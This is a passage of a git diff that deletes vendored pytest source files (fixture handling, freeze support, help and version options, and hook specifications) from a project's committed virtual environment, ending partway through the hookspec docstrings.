pytest_generate_tests(self, metafunc: Metafunc) -> None: - """Generate new tests based on parametrized fixtures used by the given metafunc""" - - def get_parametrize_mark_argnames(mark: Mark) -> Sequence[str]: - args, _ = ParameterSet._parse_parametrize_args(*mark.args, **mark.kwargs) - return args - - for argname in metafunc.fixturenames: - # Get the FixtureDefs for the argname. - fixture_defs = metafunc._arg2fixturedefs.get(argname) - if not fixture_defs: - # Will raise FixtureLookupError at setup time if not parametrized somewhere - # else (e.g @pytest.mark.parametrize) - continue - - # If the test itself parametrizes using this argname, give it - # precedence. - if any( - argname in get_parametrize_mark_argnames(mark) - for mark in metafunc.definition.iter_markers("parametrize") - ): - continue - - # In the common case we only look at the fixture def with the - # closest scope (last in the list). But if the fixture overrides - # another fixture, while requesting the super fixture, keep going - # in case the super fixture is parametrized (#1953). - for fixturedef in reversed(fixture_defs): - # Fixture is parametrized, apply it and stop. - if fixturedef.params is not None: - metafunc.parametrize( - argname, - fixturedef.params, - indirect=True, - scope=fixturedef.scope, - ids=fixturedef.ids, - ) - break - - # Not requesting the overridden super fixture, stop. - if argname not in fixturedef.argnames: - break - - # Try next super fixture, if any. - - def pytest_collection_modifyitems(self, items: list[nodes.Item]) -> None: - # Separate parametrized setups. - items[:] = reorder_items(items) - - def _register_fixture( - self, - *, - name: str, - func: _FixtureFunc[object], - nodeid: str | None, - scope: Scope | _ScopeName | Callable[[str, Config], _ScopeName] = "function", - params: Sequence[object] | None = None, - ids: tuple[object | None, ...] | Callable[[Any], object | None] | None = None, - autouse: bool = False, - ) -> None: - """Register a fixture - - :param name: - The fixture's name. - :param func: - The fixture's implementation function. - :param nodeid: - The visibility of the fixture. The fixture will be available to the - node with this nodeid and its children in the collection tree. - None means that the fixture is visible to the entire collection tree, - e.g. a fixture defined for general use in a plugin. - :param scope: - The fixture's scope. - :param params: - The fixture's parametrization params. - :param ids: - The fixture's IDs. - :param autouse: - Whether this is an autouse fixture. - """ - fixture_def = FixtureDef( - config=self.config, - baseid=nodeid, - argname=name, - func=func, - scope=scope, - params=params, - ids=ids, - _ispytest=True, - ) - - faclist = self._arg2fixturedefs.setdefault(name, []) - if fixture_def.has_location: - faclist.append(fixture_def) - else: - # fixturedefs with no location are at the front - # so this inserts the current fixturedef after the - # existing fixturedefs from external plugins but - # before the fixturedefs provided in conftests. - i = len([f for f in faclist if not f.has_location]) - faclist.insert(i, fixture_def) - if autouse: - self._nodeid_autousenames.setdefault(nodeid or "", []).append(name) - - @overload - def parsefactories( - self, - node_or_obj: nodes.Node, - ) -> None: - raise NotImplementedError() - - @overload - def parsefactories( - self, - node_or_obj: object, - nodeid: str | None, - ) -> None: - raise NotImplementedError() - - def parsefactories( - self, - node_or_obj: nodes.Node | object, - nodeid: str | NotSetType | None = NOTSET, - ) -> None: - """Collect fixtures from a collection node or object. - - Found fixtures are parsed into `FixtureDef`s and saved. - - If `node_or_object` is a collection node (with an underlying Python - object), the node's object is traversed and the node's nodeid is used to - determine the fixtures' visibility. `nodeid` must not be specified in - this case. - - If `node_or_object` is an object (e.g. a plugin), the object is - traversed and the given `nodeid` is used to determine the fixtures' - visibility. `nodeid` must be specified in this case; None and "" mean - total visibility. - """ - if nodeid is not NOTSET: - holderobj = node_or_obj - else: - assert isinstance(node_or_obj, nodes.Node) - holderobj = cast(object, node_or_obj.obj) # type: ignore[attr-defined] - assert isinstance(node_or_obj.nodeid, str) - nodeid = node_or_obj.nodeid - if holderobj in self._holderobjseen: - return - - self._holderobjseen.add(holderobj) - for name in dir(holderobj): - # The attribute can be an arbitrary descriptor, so the attribute - # access below can raise. safe_getatt() ignores such exceptions. - obj = safe_getattr(holderobj, name, None) - marker = getfixturemarker(obj) - if not isinstance(marker, FixtureFunctionMarker): - # Magic globals with __getattr__ might have got us a wrong - # fixture attribute. - continue - - if marker.name: - name = marker.name - - # During fixture definition we wrap the original fixture function - # to issue a warning if called directly, so here we unwrap it in - # order to not emit the warning when pytest itself calls the - # fixture function. - func = get_real_method(obj, holderobj) - - self._register_fixture( - name=name, - nodeid=nodeid, - func=func, - scope=marker.scope, - params=marker.params, - ids=marker.ids, - autouse=marker.autouse, - ) - - def getfixturedefs( - self, argname: str, node: nodes.Node - ) -> Sequence[FixtureDef[Any]] | None: - """Get FixtureDefs for a fixture name which are applicable - to a given node. - - Returns None if there are no fixtures at all defined with the given - name. (This is different from the case in which there are fixtures - with the given name, but none applicable to the node. In this case, - an empty result is returned). - - :param argname: Name of the fixture to search for. - :param node: The requesting Node. - """ - try: - fixturedefs = self._arg2fixturedefs[argname] - except KeyError: - return None - return tuple(self._matchfactories(fixturedefs, node)) - - def _matchfactories( - self, fixturedefs: Iterable[FixtureDef[Any]], node: nodes.Node - ) -> Iterator[FixtureDef[Any]]: - parentnodeids = {n.nodeid for n in node.iter_parents()} - for fixturedef in fixturedefs: - if fixturedef.baseid in parentnodeids: - yield fixturedef - - -def show_fixtures_per_test(config: Config) -> int | ExitCode: - from _pytest.main import wrap_session - - return wrap_session(config, _show_fixtures_per_test) - - -_PYTEST_DIR = Path(_pytest.__file__).parent - - -def _pretty_fixture_path(invocation_dir: Path, func) -> str: - loc = Path(getlocation(func, invocation_dir)) - prefix = Path("...", "_pytest") - try: - return str(prefix / loc.relative_to(_PYTEST_DIR)) - except ValueError: - return bestrelpath(invocation_dir, loc) - - -def _show_fixtures_per_test(config: Config, session: Session) -> None: - import _pytest.config - - session.perform_collect() - invocation_dir = config.invocation_params.dir - tw = _pytest.config.create_terminal_writer(config) - verbose = config.getvalue("verbose") - - def get_best_relpath(func) -> str: - loc = getlocation(func, invocation_dir) - return bestrelpath(invocation_dir, Path(loc)) - - def write_fixture(fixture_def: FixtureDef[object]) -> None: - argname = fixture_def.argname - if verbose <= 0 and argname.startswith("_"): - return - prettypath = _pretty_fixture_path(invocation_dir, fixture_def.func) - tw.write(f"{argname}", green=True) - tw.write(f" -- {prettypath}", yellow=True) - tw.write("\n") - fixture_doc = inspect.getdoc(fixture_def.func) - if fixture_doc: - write_docstring( - tw, - fixture_doc.split("\n\n", maxsplit=1)[0] - if verbose <= 0 - else fixture_doc, - ) - else: - tw.line(" no docstring available", red=True) - - def write_item(item: nodes.Item) -> None: - # Not all items have _fixtureinfo attribute. - info: FuncFixtureInfo | None = getattr(item, "_fixtureinfo", None) - if info is None or not info.name2fixturedefs: - # This test item does not use any fixtures. - return - tw.line() - tw.sep("-", f"fixtures used by {item.name}") - # TODO: Fix this type ignore. - tw.sep("-", f"({get_best_relpath(item.function)})") # type: ignore[attr-defined] - # dict key not used in loop but needed for sorting. - for _, fixturedefs in sorted(info.name2fixturedefs.items()): - assert fixturedefs is not None - if not fixturedefs: - continue - # Last item is expected to be the one used by the test item. - write_fixture(fixturedefs[-1]) - - for session_item in session.items: - write_item(session_item) - - -def showfixtures(config: Config) -> int | ExitCode: - from _pytest.main import wrap_session - - return wrap_session(config, _showfixtures_main) - - -def _showfixtures_main(config: Config, session: Session) -> None: - import _pytest.config - - session.perform_collect() - invocation_dir = config.invocation_params.dir - tw = _pytest.config.create_terminal_writer(config) - verbose = config.getvalue("verbose") - - fm = session._fixturemanager - - available = [] - seen: set[tuple[str, str]] = set() - - for argname, fixturedefs in fm._arg2fixturedefs.items(): - assert fixturedefs is not None - if not fixturedefs: - continue - for fixturedef in fixturedefs: - loc = getlocation(fixturedef.func, invocation_dir) - if (fixturedef.argname, loc) in seen: - continue - seen.add((fixturedef.argname, loc)) - available.append( - ( - len(fixturedef.baseid), - fixturedef.func.__module__, - _pretty_fixture_path(invocation_dir, fixturedef.func), - fixturedef.argname, - fixturedef, - ) - ) - - available.sort() - currentmodule = None - for baseid, module, prettypath, argname, fixturedef in available: - if currentmodule != module: - if not module.startswith("_pytest."): - tw.line() - tw.sep("-", f"fixtures defined from {module}") - currentmodule = module - if verbose <= 0 and argname.startswith("_"): - continue - tw.write(f"{argname}", green=True) - if fixturedef.scope != "function": - tw.write(f" [{fixturedef.scope} scope]", cyan=True) - tw.write(f" -- {prettypath}", yellow=True) - tw.write("\n") - doc = inspect.getdoc(fixturedef.func) - if doc: - write_docstring( - tw, doc.split("\n\n", maxsplit=1)[0] if verbose <= 0 else doc - ) - else: - tw.line(" no docstring available", red=True) - tw.line() - - -def write_docstring(tw: TerminalWriter, doc: str, indent: str = " ") -> None: - for line in doc.split("\n"): - tw.line(indent + line) diff --git a/backend/venv/Lib/site-packages/_pytest/freeze_support.py b/backend/venv/Lib/site-packages/_pytest/freeze_support.py deleted file mode 100644 index 2ba6f9b8..00000000 --- a/backend/venv/Lib/site-packages/_pytest/freeze_support.py +++ /dev/null @@ -1,45 +0,0 @@ -"""Provides a function to report all internal modules for using freezing -tools.""" - -from __future__ import annotations - -import types -from typing import Iterator - - -def freeze_includes() -> list[str]: - """Return a list of module names used by pytest that should be - included by cx_freeze.""" - import _pytest - - result = list(_iter_all_modules(_pytest)) - return result - - -def _iter_all_modules( - package: str | types.ModuleType, - prefix: str = "", -) -> Iterator[str]: - """Iterate over the names of all modules that can be found in the given - package, recursively. - - >>> import _pytest - >>> list(_iter_all_modules(_pytest)) - ['_pytest._argcomplete', '_pytest._code.code', ...] - """ - import os - import pkgutil - - if isinstance(package, str): - path = package - else: - # Type ignored because typeshed doesn't define ModuleType.__path__ - # (only defined on packages). - package_path = package.__path__ - path, prefix = package_path[0], package.__name__ + "." - for _, name, is_package in pkgutil.iter_modules([path]): - if is_package: - for m in _iter_all_modules(os.path.join(path, name), prefix=name + "."): - yield prefix + m - else: - yield prefix + name diff --git a/backend/venv/Lib/site-packages/_pytest/helpconfig.py b/backend/venv/Lib/site-packages/_pytest/helpconfig.py deleted file mode 100644 index 1886d5c9..00000000 --- a/backend/venv/Lib/site-packages/_pytest/helpconfig.py +++ /dev/null @@ -1,276 +0,0 @@ -# mypy: allow-untyped-defs -"""Version info, help messages, tracing configuration.""" - -from __future__ import annotations - -from argparse import Action -import os -import sys -from typing import Generator - -from _pytest.config import Config -from _pytest.config import ExitCode -from _pytest.config import PrintHelp -from _pytest.config.argparsing import Parser -from _pytest.terminal import TerminalReporter -import pytest - - -class HelpAction(Action): - """An argparse Action that will raise an exception in order to skip the - rest of the argument parsing when --help is passed. - - This prevents argparse from quitting due to missing required arguments - when any are defined, for example by ``pytest_addoption``. - This is similar to the way that the builtin argparse --help option is - implemented by raising SystemExit. - """ - - def __init__(self, option_strings, dest=None, default=False, help=None): - super().__init__( - option_strings=option_strings, - dest=dest, - const=True, - default=default, - nargs=0, - help=help, - ) - - def __call__(self, parser, namespace, values, option_string=None): - setattr(namespace, self.dest, self.const) - - # We should only skip the rest of the parsing after preparse is done. - if getattr(parser._parser, "after_preparse", False): - raise PrintHelp - - -def pytest_addoption(parser: Parser) -> None: - group = parser.getgroup("debugconfig") - group.addoption( - "--version", - "-V", - action="count", - default=0, - dest="version", - help="Display pytest version and information about plugins. " - "When given twice, also display information about plugins.", - ) - group._addoption( - "-h", - "--help", - action=HelpAction, - dest="help", - help="Show help message and configuration info", - ) - group._addoption( - "-p", - action="append", - dest="plugins", - default=[], - metavar="name", - help="Early-load given plugin module name or entry point (multi-allowed). " - "To avoid loading of plugins, use the `no:` prefix, e.g. " - "`no:doctest`.", - ) - group.addoption( - "--traceconfig", - "--trace-config", - action="store_true", - default=False, - help="Trace considerations of conftest.py files", - ) - group.addoption( - "--debug", - action="store", - nargs="?", - const="pytestdebug.log", - dest="debug", - metavar="DEBUG_FILE_NAME", - help="Store internal tracing debug information in this log file. " - "This file is opened with 'w' and truncated as a result, care advised. " - "Default: pytestdebug.log.", - ) - group._addoption( - "-o", - "--override-ini", - dest="override_ini", - action="append", - help='Override ini option with "option=value" style, ' - "e.g. `-o xfail_strict=True -o cache_dir=cache`.", - ) - - -@pytest.hookimpl(wrapper=True) -def pytest_cmdline_parse() -> Generator[None, Config, Config]: - config = yield - - if config.option.debug: - # --debug | --debug was provided. - path = config.option.debug - debugfile = open(path, "w", encoding="utf-8") - debugfile.write( - "versions pytest-{}, " - "python-{}\ninvocation_dir={}\ncwd={}\nargs={}\n\n".format( - pytest.__version__, - ".".join(map(str, sys.version_info)), - config.invocation_params.dir, - os.getcwd(), - config.invocation_params.args, - ) - ) - config.trace.root.setwriter(debugfile.write) - undo_tracing = config.pluginmanager.enable_tracing() - sys.stderr.write(f"writing pytest debug information to {path}\n") - - def unset_tracing() -> None: - debugfile.close() - sys.stderr.write(f"wrote pytest debug information to {debugfile.name}\n") - config.trace.root.setwriter(None) - undo_tracing() - - config.add_cleanup(unset_tracing) - - return config - - -def showversion(config: Config) -> None: - if config.option.version > 1: - sys.stdout.write( - f"This is pytest version {pytest.__version__}, imported from {pytest.__file__}\n" - ) - plugininfo = getpluginversioninfo(config) - if plugininfo: - for line in plugininfo: - sys.stdout.write(line + "\n") - else: - sys.stdout.write(f"pytest {pytest.__version__}\n") - - -def pytest_cmdline_main(config: Config) -> int | ExitCode | None: - if config.option.version > 0: - showversion(config) - return 0 - elif config.option.help: - config._do_configure() - showhelp(config) - config._ensure_unconfigure() - return 0 - return None - - -def showhelp(config: Config) -> None: - import textwrap - - reporter: TerminalReporter | None = config.pluginmanager.get_plugin( - "terminalreporter" - ) - assert reporter is not None - tw = reporter._tw - tw.write(config._parser.optparser.format_help()) - tw.line() - tw.line( - "[pytest] ini-options in the first " - "pytest.ini|tox.ini|setup.cfg|pyproject.toml file found:" - ) - tw.line() - - columns = tw.fullwidth # costly call - indent_len = 24 # based on argparse's max_help_position=24 - indent = " " * indent_len - for name in config._parser._ininames: - help, type, default = config._parser._inidict[name] - if type is None: - type = "string" - if help is None: - raise TypeError(f"help argument cannot be None for {name}") - spec = f"{name} ({type}):" - tw.write(f" {spec}") - spec_len = len(spec) - if spec_len > (indent_len - 3): - # Display help starting at a new line. - tw.line() - helplines = textwrap.wrap( - help, - columns, - initial_indent=indent, - subsequent_indent=indent, - break_on_hyphens=False, - ) - - for line in helplines: - tw.line(line) - else: - # Display help starting after the spec, following lines indented. - tw.write(" " * (indent_len - spec_len - 2)) - wrapped = textwrap.wrap(help, columns - indent_len, break_on_hyphens=False) - - if wrapped: - tw.line(wrapped[0]) - for line in wrapped[1:]: - tw.line(indent + line) - - tw.line() - tw.line("Environment variables:") - vars = [ - ( - "CI", - "When set (regardless of value), pytest knows it is running in a " - "CI process and does not truncate summary info", - ), - ("BUILD_NUMBER", "Equivalent to CI"), - ("PYTEST_ADDOPTS", "Extra command line options"), - ("PYTEST_PLUGINS", "Comma-separated plugins to load during startup"), - ("PYTEST_DISABLE_PLUGIN_AUTOLOAD", "Set to disable plugin auto-loading"), - ("PYTEST_DEBUG", "Set to enable debug tracing of pytest's internals"), - ] - for name, help in vars: - tw.line(f" {name:<24} {help}") - tw.line() - tw.line() - - tw.line("to see available markers type: pytest --markers") - tw.line("to see available fixtures type: pytest --fixtures") - tw.line( - "(shown according to specified file_or_dir or current dir " - "if not specified; fixtures with leading '_' are only shown " - "with the '-v' option" - ) - - for warningreport in reporter.stats.get("warnings", []): - tw.line("warning : " + warningreport.message, red=True) - - -conftest_options = [("pytest_plugins", "list of plugin names to load")] - - -def getpluginversioninfo(config: Config) -> list[str]: - lines = [] - plugininfo = config.pluginmanager.list_plugin_distinfo() - if plugininfo: - lines.append("registered third-party plugins:") - for plugin, dist in plugininfo: - loc = getattr(plugin, "__file__", repr(plugin)) - content = f"{dist.project_name}-{dist.version} at {loc}" - lines.append(" " + content) - return lines - - -def pytest_report_header(config: Config) -> list[str]: - lines = [] - if config.option.debug or config.option.traceconfig: - lines.append(f"using: pytest-{pytest.__version__}") - - verinfo = getpluginversioninfo(config) - if verinfo: - lines.extend(verinfo) - - if config.option.traceconfig: - lines.append("active plugins:") - items = config.pluginmanager.list_name_plugin() - for name, plugin in items: - if hasattr(plugin, "__file__"): - r = plugin.__file__ - else: - r = repr(plugin) - lines.append(f" {name:<20}: {r}") - return lines diff --git a/backend/venv/Lib/site-packages/_pytest/hookspec.py b/backend/venv/Lib/site-packages/_pytest/hookspec.py deleted file mode 100644 index 99614899..00000000 --- a/backend/venv/Lib/site-packages/_pytest/hookspec.py +++ /dev/null @@ -1,1322 +0,0 @@ -# mypy: allow-untyped-defs -# ruff: noqa: T100 -"""Hook specifications for pytest plugins which are invoked by pytest itself -and by builtin plugins.""" - -from __future__ import annotations - -from pathlib import Path -from typing import Any -from typing import Mapping -from typing import Sequence -from typing import TYPE_CHECKING - -from pluggy import HookspecMarker - -from .deprecated import HOOK_LEGACY_PATH_ARG - - -if TYPE_CHECKING: - import pdb - from typing import Literal - import warnings - - from _pytest._code.code import ExceptionInfo - from _pytest._code.code import ExceptionRepr - from _pytest.compat import LEGACY_PATH - from _pytest.config import _PluggyPlugin - from _pytest.config import Config - from _pytest.config import ExitCode - from _pytest.config import PytestPluginManager - from _pytest.config.argparsing import Parser - from _pytest.fixtures import FixtureDef - from _pytest.fixtures import SubRequest - from _pytest.main import Session - from _pytest.nodes import Collector - from _pytest.nodes import Item - from _pytest.outcomes import Exit - from _pytest.python import Class - from _pytest.python import Function - from _pytest.python import Metafunc - from _pytest.python import Module - from _pytest.reports import CollectReport - from _pytest.reports import TestReport - from _pytest.runner import CallInfo - from _pytest.terminal import TerminalReporter - from _pytest.terminal import TestShortLogReport - - -hookspec = HookspecMarker("pytest") - -# ------------------------------------------------------------------------- -# Initialization hooks called for every plugin -# ------------------------------------------------------------------------- - - -@hookspec(historic=True) -def pytest_addhooks(pluginmanager: PytestPluginManager) -> None: - """Called at plugin registration time to allow adding new hooks via a call to - :func:`pluginmanager.add_hookspecs(module_or_class, prefix) `. - - :param pluginmanager: The pytest plugin manager. - - .. note:: - This hook is incompatible with hook wrappers. - - Use in conftest plugins - ======================= - - If a conftest plugin implements this hook, it will be called immediately - when the conftest is registered. - """ - - -@hookspec(historic=True) -def pytest_plugin_registered( - plugin: _PluggyPlugin, - plugin_name: str, - manager: PytestPluginManager, -) -> None: - """A new pytest plugin got registered. - - :param plugin: The plugin module or instance. - :param plugin_name: The name by which the plugin is registered. - :param manager: The pytest plugin manager. - - .. note:: - This hook is incompatible with hook wrappers. - - Use in conftest plugins - ======================= - - If a conftest plugin implements this hook, it will be called immediately - when the conftest is registered, once for each plugin registered thus far - (including itself!), and for all plugins thereafter when they are - registered. - """ - - -@hookspec(historic=True) -def pytest_addoption(parser: Parser, pluginmanager: PytestPluginManager) -> None: - """Register argparse-style options and ini-style config values, - called once at the beginning of a test run. - - :param parser: - To add command line options, call - :py:func:`parser.addoption(...) `. - To add ini-file values call :py:func:`parser.addini(...) - `. - - :param pluginmanager: - The pytest plugin manager, which can be used to install :py:func:`~pytest.hookspec`'s - or :py:func:`~pytest.hookimpl`'s and allow one plugin to call another plugin's hooks - to change how command line options are added. - - Options can later be accessed through the - :py:class:`config ` object, respectively: - - - :py:func:`config.getoption(name) ` to - retrieve the value of a command line option. - - - :py:func:`config.getini(name) ` to retrieve - a value read from an ini-style file. - - The config object is passed around on many internal objects via the ``.config`` - attribute or can be retrieved as the ``pytestconfig`` fixture. - - .. note:: - This hook is incompatible with hook wrappers. - - Use in conftest plugins - ======================= - - If a conftest plugin implements this hook, it will be called immediately - when the conftest is registered. - - This hook is only called for :ref:`initial conftests `. - """ - - -@hookspec(historic=True) -def pytest_configure(config: Config) -> None: - """Allow plugins and conftest files to perform initial configuration. - - .. note:: - This hook is incompatible with hook wrappers. - - :param config: The pytest config object. - - Use in conftest plugins - ======================= - - This hook is called for every :ref:`initial conftest ` file - after command line options have been parsed. After that, the hook is called - for other conftest files as they are registered. - """ - - -# ------------------------------------------------------------------------- -# Bootstrapping hooks called for plugins registered early enough: -# internal and 3rd party plugins. -# ------------------------------------------------------------------------- - - -@hookspec(firstresult=True) -def pytest_cmdline_parse( - pluginmanager: PytestPluginManager, args: list[str] -) -> Config | None: - """Return an initialized :class:`~pytest.Config`, parsing the specified args. - - Stops at first non-None result, see :ref:`firstresult`. - - .. note:: - This hook is only called for plugin classes passed to the - ``plugins`` arg when using `pytest.main`_ to perform an in-process - test run. - - :param pluginmanager: The pytest plugin manager. - :param args: List of arguments passed on the command line. - :returns: A pytest config object. - - Use in conftest plugins - ======================= - - This hook is not called for conftest files. - """ - - -def pytest_load_initial_conftests( - early_config: Config, parser: Parser, args: list[str] -) -> None: - """Called to implement the loading of :ref:`initial conftest files - ` ahead of command line option parsing. - - :param early_config: The pytest config object. - :param args: Arguments passed on the command line. - :param parser: To add command line options. - - Use in conftest plugins - ======================= - - This hook is not called for conftest files. - """ - - -@hookspec(firstresult=True) -def pytest_cmdline_main(config: Config) -> ExitCode | int | None: - """Called for performing the main command line action. - - The default implementation will invoke the configure hooks and - :hook:`pytest_runtestloop`. - - Stops at first non-None result, see :ref:`firstresult`. - - :param config: The pytest config object. - :returns: The exit code. - - Use in conftest plugins - ======================= - - This hook is only called for :ref:`initial conftests `. - """ - - -# ------------------------------------------------------------------------- -# collection hooks -# ------------------------------------------------------------------------- - - -@hookspec(firstresult=True) -def pytest_collection(session: Session) -> object | None: - """Perform the collection phase for the given session. - - Stops at first non-None result, see :ref:`firstresult`. - The return value is not used, but only stops further processing. - - The default collection phase is this (see individual hooks for full details): - - 1. Starting from ``session`` as the initial collector: - - 1. ``pytest_collectstart(collector)`` - 2. ``report = pytest_make_collect_report(collector)`` - 3. ``pytest_exception_interact(collector, call, report)`` if an interactive exception occurred - 4. For each collected node: - - 1. If an item, ``pytest_itemcollected(item)`` - 2. If a collector, recurse into it. - - 5. ``pytest_collectreport(report)`` - - 2. ``pytest_collection_modifyitems(session, config, items)`` - - 1. ``pytest_deselected(items)`` for any deselected items (may be called multiple times) - - 3. ``pytest_collection_finish(session)`` - 4. Set ``session.items`` to the list of collected items - 5. Set ``session.testscollected`` to the number of collected items - - You can implement this hook to only perform some action before collection, - for example the terminal plugin uses it to start displaying the collection - counter (and returns `None`). - - :param session: The pytest session object. - - Use in conftest plugins - ======================= - - This hook is only called for :ref:`initial conftests `. - """ - - -def pytest_collection_modifyitems( - session: Session, config: Config, items: list[Item] -) -> None: - """Called after collection has been performed. May filter or re-order - the items in-place. - - :param session: The pytest session object. - :param config: The pytest config object. - :param items: List of item objects. - - Use in conftest plugins - ======================= - - Any conftest plugin can implement this hook. - """ - - -def pytest_collection_finish(session: Session) -> None: - """Called after collection has been performed and modified. - - :param session: The pytest session object. - - Use in conftest plugins - ======================= - - Any conftest plugin can implement this hook. - """ - - -@hookspec( - firstresult=True, - warn_on_impl_args={ - "path": HOOK_LEGACY_PATH_ARG.format( - pylib_path_arg="path", pathlib_path_arg="collection_path" - ), - }, -) -def pytest_ignore_collect( - collection_path: Path, path: LEGACY_PATH, config: Config -) -> bool | None: - """Return ``True`` to ignore this path for collection. - - Return ``None`` to let other plugins ignore the path for collection. - - Returning ``False`` will forcefully *not* ignore this path for collection, - without giving a chance for other plugins to ignore this path. - - This hook is consulted for all files and directories prior to calling - more specific hooks. - - Stops at first non-None result, see :ref:`firstresult`. - - :param collection_path: The path to analyze. - :type collection_path: pathlib.Path - :param path: The path to analyze (deprecated). - :param config: The pytest config object. - - .. versionchanged:: 7.0.0 - The ``collection_path`` parameter was added as a :class:`pathlib.Path` - equivalent of the ``path`` parameter. The ``path`` parameter - has been deprecated. - - Use in conftest plugins - ======================= - - Any conftest file can implement this hook. For a given collection path, only - conftest files in parent directories of the collection path are consulted - (if the path is a directory, its own conftest file is *not* consulted - a - directory cannot ignore itself!). - """ - - -@hookspec(firstresult=True) -def pytest_collect_directory(path: Path, parent: Collector) -> Collector | None: - """Create a :class:`~pytest.Collector` for the given directory, or None if - not relevant. - - .. versionadded:: 8.0 - - For best results, the returned collector should be a subclass of - :class:`~pytest.Directory`, but this is not required. - - The new node needs to have the specified ``parent`` as a parent. - - Stops at first non-None result, see :ref:`firstresult`. - - :param path: The path to analyze. - :type path: pathlib.Path - - See :ref:`custom directory collectors` for a simple example of use of this - hook. - - Use in conftest plugins - ======================= - - Any conftest file can implement this hook. For a given collection path, only - conftest files in parent directories of the collection path are consulted - (if the path is a directory, its own conftest file is *not* consulted - a - directory cannot collect itself!). - """ - - -@hookspec( - warn_on_impl_args={ - "path": HOOK_LEGACY_PATH_ARG.format( - pylib_path_arg="path", pathlib_path_arg="file_path" - ), - }, -) -def pytest_collect_file( - file_path: Path, path: LEGACY_PATH, parent: Collector -) -> Collector | None: - """Create a :class:`~pytest.Collector` for the given path, or None if not relevant. - - For best results, the returned collector should be a subclass of - :class:`~pytest.File`, but this is not required. - - The new node needs to have the specified ``parent`` as a parent. - - :param file_path: The path to analyze. - :type file_path: pathlib.Path - :param path: The path to collect (deprecated). - - .. versionchanged:: 7.0.0 - The ``file_path`` parameter was added as a :class:`pathlib.Path` - equivalent of the ``path`` parameter. The ``path`` parameter - has been deprecated. - - Use in conftest plugins - ======================= - - Any conftest file can implement this hook. For a given file path, only - conftest files in parent directories of the file path are consulted. - """ - - -# logging hooks for collection - - -def pytest_collectstart(collector: Collector) -> None: - """Collector starts collecting. - - :param collector: - The collector. - - Use in conftest plugins - ======================= - - Any conftest file can implement this hook. For a given collector, only - conftest files in the collector's directory and its parent directories are - consulted. - """ - - -def pytest_itemcollected(item: Item) -> None: - """We just collected a test item. - - :param item: - The item. - - Use in conftest plugins - ======================= - - Any conftest file can implement this hook. For a given item, only conftest - files in the item's directory and its parent directories are consulted. - """ - - -def pytest_collectreport(report: CollectReport) -> None: - """Collector finished collecting. - - :param report: - The collect report. - - Use in conftest plugins - ======================= - - Any conftest file can implement this hook. For a given collector, only - conftest files in the collector's directory and its parent directories are - consulted. - """ - - -def pytest_deselected(items: Sequence[Item]) -> None: - """Called for deselected test items, e.g. by keyword. - - May be called multiple times. - - :param items: - The items. - - Use in conftest plugins - ======================= - - Any conftest file can implement this hook. - """ - - -@hookspec(firstresult=True) -def pytest_make_collect_report(collector: Collector) -> CollectReport | None: - """Perform :func:`collector.collect() ` and return - a :class:`~pytest.CollectReport`. - - Stops at first non-None result, see :ref:`firstresult`. - - :param collector: - The collector. - - Use in conftest plugins - ======================= - - Any conftest file can implement this hook. For a given collector, only - conftest files in the collector's directory and its parent directories are - consulted. - """ - - -# ------------------------------------------------------------------------- -# Python test function related hooks -# ------------------------------------------------------------------------- - - -@hookspec( - firstresult=True, - warn_on_impl_args={ - "path": HOOK_LEGACY_PATH_ARG.format( - pylib_path_arg="path", pathlib_path_arg="module_path" - ), - }, -) -def pytest_pycollect_makemodule( - module_path: Path, path: LEGACY_PATH, parent -) -> Module | None: - """Return a :class:`pytest.Module` collector or None for the given path. - - This hook will be called for each matching test module path. - The :hook:`pytest_collect_file` hook needs to be used if you want to - create test modules for files that do not match as a test module. - - Stops at first non-None result, see :ref:`firstresult`. - - :param module_path: The path of the module to collect. - :type module_path: pathlib.Path - :param path: The path of the module to collect (deprecated). - - .. versionchanged:: 7.0.0 - The ``module_path`` parameter was added as a :class:`pathlib.Path` - equivalent of the ``path`` parameter. - - The ``path`` parameter has been deprecated in favor of ``fspath``. - - Use in conftest plugins - ======================= - - Any conftest file can implement this hook. For a given parent collector, - only conftest files in the collector's directory and its parent directories - are consulted. - """ - - -@hookspec(firstresult=True) -def pytest_pycollect_makeitem( - collector: Module | Class, name: str, obj: object -) -> None | Item | Collector | list[Item | Collector]: - """Return a custom item/collector for a Python object in a module, or None. - - Stops at first non-None result, see :ref:`firstresult`. - - :param collector: - The module/class collector. - :param name: - The name of the object in the module/class. - :param obj: - The object. - :returns: - The created items/collectors. - - Use in conftest plugins - ======================= - - Any conftest file can implement this hook. For a given collector, only - conftest files in the collector's directory and its parent directories - are consulted. - """ - - -@hookspec(firstresult=True) -def pytest_pyfunc_call(pyfuncitem: Function) -> object | None: - """Call underlying test function. - - Stops at first non-None result, see :ref:`firstresult`. - - :param pyfuncitem: - The function item. - - Use in conftest plugins - ======================= - - Any conftest file can implement this hook. For a given item, only - conftest files in the item's directory and its parent directories - are consulted. - """ - - -def pytest_generate_tests(metafunc: Metafunc) -> None: - """Generate (multiple) parametrized calls to a test function. - - :param metafunc: - The :class:`~pytest.Metafunc` helper for the test function. - - Use in conftest plugins - ======================= - - Any conftest file can implement this hook. For a given function definition, - only conftest files in the functions's directory and its parent directories - are consulted. - """ - - -@hookspec(firstresult=True) -def pytest_make_parametrize_id(config: Config, val: object, argname: str) -> str | None: - """Return a user-friendly string representation of the given ``val`` - that will be used by @pytest.mark.parametrize calls, or None if the hook - doesn't know about ``val``. - - The parameter name is available as ``argname``, if required. - - Stops at first non-None result, see :ref:`firstresult`. - - :param config: The pytest config object. - :param val: The parametrized value. - :param argname: The automatic parameter name produced by pytest. - - Use in conftest plugins - ======================= - - Any conftest file can implement this hook. - """ - - -# ------------------------------------------------------------------------- -# runtest related hooks -# ------------------------------------------------------------------------- - - -@hookspec(firstresult=True) -def pytest_runtestloop(session: Session) -> object | None: - """Perform the main runtest loop (after collection finished). - - The default hook implementation performs the runtest protocol for all items - collected in the session (``session.items``), unless the collection failed - or the ``collectonly`` pytest option is set. - - If at any point :py:func:`pytest.exit` is called, the loop is - terminated immediately. - - If at any point ``session.shouldfail`` or ``session.shouldstop`` are set, the - loop is terminated after the runtest protocol for the current item is finished. - - :param session: The pytest session object. - - Stops at first non-None result, see :ref:`firstresult`. - The return value is not used, but only stops further processing. - - Use in conftest plugins - ======================= - - Any conftest file can implement this hook. - """ - - -@hookspec(firstresult=True) -def pytest_runtest_protocol(item: Item, nextitem: Item | None) -> object | None: - """Perform the runtest protocol for a single test item. - - The default runtest protocol is this (see individual hooks for full details): - - - ``pytest_runtest_logstart(nodeid, location)`` - - - Setup phase: - - ``call = pytest_runtest_setup(item)`` (wrapped in ``CallInfo(when="setup")``) - - ``report = pytest_runtest_makereport(item, call)`` - - 